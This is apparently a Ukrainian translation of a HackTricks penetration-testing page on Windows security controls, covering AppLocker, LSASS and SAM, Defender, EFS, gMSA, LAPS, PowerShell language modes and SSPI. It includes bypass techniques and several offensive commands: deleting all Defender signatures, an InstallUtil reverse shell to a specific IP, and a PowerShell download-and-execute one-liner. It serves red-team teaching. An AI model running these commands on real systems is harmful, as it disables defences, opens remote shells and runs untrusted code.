Windows Security Controls

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Використовуйте Trickest для легкої побудови та автоматизації робочих процесів за допомогою найбільш продвинутих інструментів спільноти у світі. Отримайте доступ сьогодні:

Політика AppLocker

Білий список програм - це список схвалених програм або виконуваних файлів, які дозволяється присутнім та запускатися на системі. Мета полягає в захисті середовища від шкідливих програм-шпигунів та недозволених програм, які не відповідають конкретним бізнес-потребам організації.

AppLocker - це рішення для створення білого списку програм від Microsoft, яке дає адміністраторам систем контроль над програмами та файлами, які можуть виконувати користувачі. Воно забезпечує детальний контроль над виконуваними файлами, скриптами, файлами установки Windows, DLL-бібліотеками, упакованими програмами та програмами для установки упакованих програм. Зазвичай організації блокують cmd.exe та PowerShell.exe та доступ на запис до певних каталогів, але все це можна обійти.

Перевірка

Перевірте, які файли/розширення перебувають у чорному/білому списку:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

Цей шлях реєстру містить конфігурації та політики, які застосовуються AppLocker, надаючи можливість переглянути поточний набір правил, які діють в системі:

  • HKLM\Software\Policies\Microsoft\Windows\SrpV2

Обхід

  • Корисні Папки для запису, щоб обійти політику AppLocker: Якщо AppLocker дозволяє виконувати будь-що всередині C:\Windows\System32 або C:\Windows, є папки для запису, які можна використовувати для обходу цього.

C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • Зазвичай довіряються "LOLBAS's" бінарні файли також можуть бути корисними для обхіду AppLocker.

  • Погано написані правила також можуть бути обхідними

  • Наприклад, <FilePathCondition Path="%OSDRIVE%*\allowed*"/>, ви можете створити папку з назвою allowed де завгодно, і вона буде дозволена.

  • Організації часто фокусуються на блокуванні виконування виконуваних файлів %System32%\WindowsPowerShell\v1.0\powershell.exe, але забувають про інші розташування виконуваних файлів PowerShell такі як %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe або PowerShell_ISE.exe.

  • Завантаження DLL майже ніколи не увімкнене через додаткове навантаження на систему та кількість тестувань, необхідних для забезпечення того, що нічого не зламається. Таким чином, використання DLL як задніх дверей допоможе обійти AppLocker.

  • Ви можете використовувати ReflectivePick або SharpPick для виконання коду Powershell в будь-якому процесі та обходу AppLocker. Для отримання додаткової інформації перегляньте: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

Зберігання облікових даних

Менеджер облікових записів безпеки (SAM)

Локальні облікові дані присутні в цьому файлі, паролі захешовані.

Локальна служба безпеки (LSA) - LSASS

Облікові дані (захешовані) зберігаються в пам'яті цієї підсистеми з метою одноразового входу. LSA керує локальною політикою безпеки (політика паролів, дозволи користувачів...), аутентифікацією, токенами доступу... LSA буде перевіряти надані облікові дані всередині файлу SAM (для локального входу) та спілкуватися з контролером домену для аутентифікації користувача домену.

Облікові дані зберігаються всередині процесу LSASS: квитки Kerberos, хеші NT та LM, легко розшифровані паролі.

Секрети LSA

LSA може зберігати на диску деякі облікові дані:

  • Пароль облікового запису комп'ютера Active Directory (недосяжний контролер домену).

  • Паролі облікових записів служб Windows

  • Паролі для запланованих завдань

  • Ще (пароль додатків IIS...)

NTDS.dit

Це база даних Active Directory. Вона присутня лише на контролерах домену.

Захисник

Microsoft Defender - це антивірус, який доступний в Windows 10 та Windows 11, а також у версіях Windows Server. Він блокує загальні інструменти для пентестінгу, такі як WinPEAS. Однак існують способи обхіду цих захистів.

Перевірка

Для перевірки стану Захисника ви можете виконати PS-команду Get-MpComputerStatus (перевірте значення RealTimeProtectionEnabled, щоб дізнатися, чи він активний):

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

Для переліку ви також можете виконати:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Зашифрована файлова система (EFS)

EFS захищає файли за допомогою шифрування, використовуючи симетричний ключ під назвою Ключ шифрування файлів (FEK). Цей ключ зашифрований за допомогою публічного ключа користувача та зберігається у альтернативному потоці даних $EFS зашифрованого файлу. При необхідності розшифрування, використовується відповідний приватний ключ цифрового сертифіката користувача для розшифрування FEK з потоку $EFS. Додаткові деталі можна знайти тут.

Сценарії розшифрування без ініціації користувача включають:

  • Коли файли або папки переміщуються на не-EFS файлову систему, наприклад, FAT32, вони автоматично розшифровуються.

  • Зашифровані файли, відправлені через мережу за протоколом SMB/CIFS, розшифровуються перед передачею.

Цей метод шифрування дозволяє прозорий доступ до зашифрованих файлів для власника. Однак просто зміна пароля власника та вхід в систему не дозволить розшифрування.

Основні висновки:

  • EFS використовує симетричний FEK, зашифрований за допомогою публічного ключа користувача.

  • Розшифрування використовує приватний ключ користувача для доступу до FEK.

  • Автоматичне розшифрування відбувається в певних умовах, наприклад, при копіюванні на FAT32 або передачі через мережу.

  • Зашифровані файли доступні власнику без додаткових кроків.

Перевірка інформації EFS

Перевірте, чи користувач використовував цей сервіс, перевіривши, чи існує цей шлях: C:\users\<ім'я_користувача>\appdata\roaming\Microsoft\Protect

Перевірте, хто має доступ до файлу, використовуючи cipher /c \<файл>\ Ви також можете використовувати cipher /e та cipher /d всередині папки для шифрування та розшифрування всіх файлів

Розшифрування файлів EFS

Бути системою авторитету

Для цього способу користувач жертва повинен виконувати процес всередині хоста. У цьому випадку, використовуючи сесії meterpreter, ви можете підробити токен процесу користувача (impersonate_token з incognito). Або ви можете просто migrate до процесу користувача.

Знання пароля користувача

Керовані групові облікові записи служб (gMSA)

Microsoft розробив Керовані групові облікові записи служб (gMSA) для спрощення управління обліковими записами служб в ІТ-інфраструктурах. На відміну від традиційних облікових записів служб, у яких часто включена налаштування "Пароль ніколи не закінчується", gMSA пропонують більш безпечне та кероване рішення:

  • Автоматичне управління паролями: gMSA використовують складний пароль у 240 символів, який автоматично змінюється відповідно до політики домену або комп'ютера. Цей процес обробляється Службою розподілу ключів Microsoft (KDC), що усуває необхідність вручних оновлень пароля.

  • Підвищене забезпечення: Ці облікові записи не піддаються блокуванню та не можуть бути використані для інтерактивних входів, підвищуючи їх безпеку.

  • Підтримка кількох хостів: gMSA можуть бути використані на кількох хостах, що робить їх ідеальними для служб, які працюють на кількох серверах.

  • Можливість запланованих завдань: На відміну від керованих облікових записів служб, gMSA підтримують запуск запланованих завдань.

  • Спрощене управління SPN: Система автоматично оновлює ім'я службового принципалу (SPN), коли відбуваються зміни в деталях sAMaccount комп'ютера або DNS-імені, спрощуючи управління SPN.

Паролі для gMSA зберігаються в властивості LDAP msDS-ManagedPassword та автоматично скидаються кожні 30 днів контролерами доменів (DC). Цей пароль, зашифрований блок даних, відомий як MSDS-MANAGEDPASSWORD_BLOB, може бути отриманий лише авторизованими адміністраторами та серверами, на яких встановлені gMSA, забезпечуючи безпечне середовище. Для доступу до цієї інформації потрібне захищене підключення, таке як LDAPS, або підключення повинно бути аутентифіковане за допомогою 'Sealing & Secure'.

/GMSAPasswordReader --AccountName jkohler

Дізнайтеся більше інформації у цьому пості

Також перевірте цю веб-сторінку про те, як виконати атаку пересилання NTLM для читання пароля gMSA.

LAPS

Рішення для локального адміністраторського пароля (LAPS), доступне для завантаження з Microsoft, дозволяє керувати паролями локальних адміністраторів. Ці паролі, які є випадковими, унікальними та регулярно змінюються, зберігаються централізовано в Active Directory. Доступ до цих паролів обмежений через ACL для авторизованих користувачів. З достатніми наданими дозволами надається можливість читання паролів локальних адміністраторів.

pageLAPS

PS Constrained Language Mode

PowerShell Обмежений режим мови блокує багато функцій, необхідних для ефективного використання PowerShell, таких як блокування об'єктів COM, дозвіл лише схвалених типів .NET, робочі процеси на основі XAML, класи PowerShell та інше.

Перевірка

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

Обхід

#Easy bypass
Powershell -version 2

У поточній версії Windows цей обхід не працюватиме, але ви можете скористатися PSByPassCLM. Для компіляції можливо знадобиться додати посилання -> Перегляд -> Перегляд -> додати C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll і змінити проект на .Net4.5.

Прямий обхід:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

Зворотній шел:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

Ви можете використовувати ReflectivePick або SharpPick для виконання коду Powershell в будь-якому процесі та обхіду обмеженого режиму. Для отримання додаткової інформації перегляньте: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

Політика виконання PS

За замовчуванням вона встановлена на обмежена. Основні способи обхіду цієї політики:

1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

Більше можна знайти тут

Інтерфейс постачальника підтримки безпеки (SSPI)

Це API, яке можна використовувати для аутентифікації користувачів.

SSPI буде відповідальним за знаходження відповідного протоколу для двох машин, які хочуть спілкуватися. Найбажаніший метод для цього - Kerberos. Потім SSPI буде вести переговори про те, який протокол аутентифікації буде використовуватися; ці протоколи аутентифікації називаються постачальниками підтримки безпеки (SSP), вони розташовані у кожній машині з Windows у вигляді DLL, і обидві машини повинні підтримувати однакові, щоб мати можливість спілкуватися.

Основні постачальники підтримки безпеки (SSP)

  • Kerberos: Найбажаніший

  • %windir%\Windows\System32\kerberos.dll

  • NTLMv1 та NTLMv2: З причин сумісності

  • %windir%\Windows\System32\msv1_0.dll

  • Digest: Веб-сервери та LDAP, пароль у вигляді хешу MD5

  • %windir%\Windows\System32\Wdigest.dll

  • Schannel: SSL та TLS

  • %windir%\Windows\System32\Schannel.dll

  • Negotiate: Використовується для переговорів щодо протоколу, який слід використовувати (Kerberos або NTLM, за замовчуванням Kerberos)

  • %windir%\Windows\System32\lsasrv.dll

Під час переговорів може бути запропоновано кілька методів або лише один.

UAC - Контроль облікових записів користувачів

Контроль облікових записів користувачів (UAC) - це функція, яка дозволяє запит на підтвердження для підвищених дій.

pageUAC - User Account Control

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси за допомогою найбільш продвинутих інструментів спільноти у світі. Отримайте доступ сьогодні:


Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated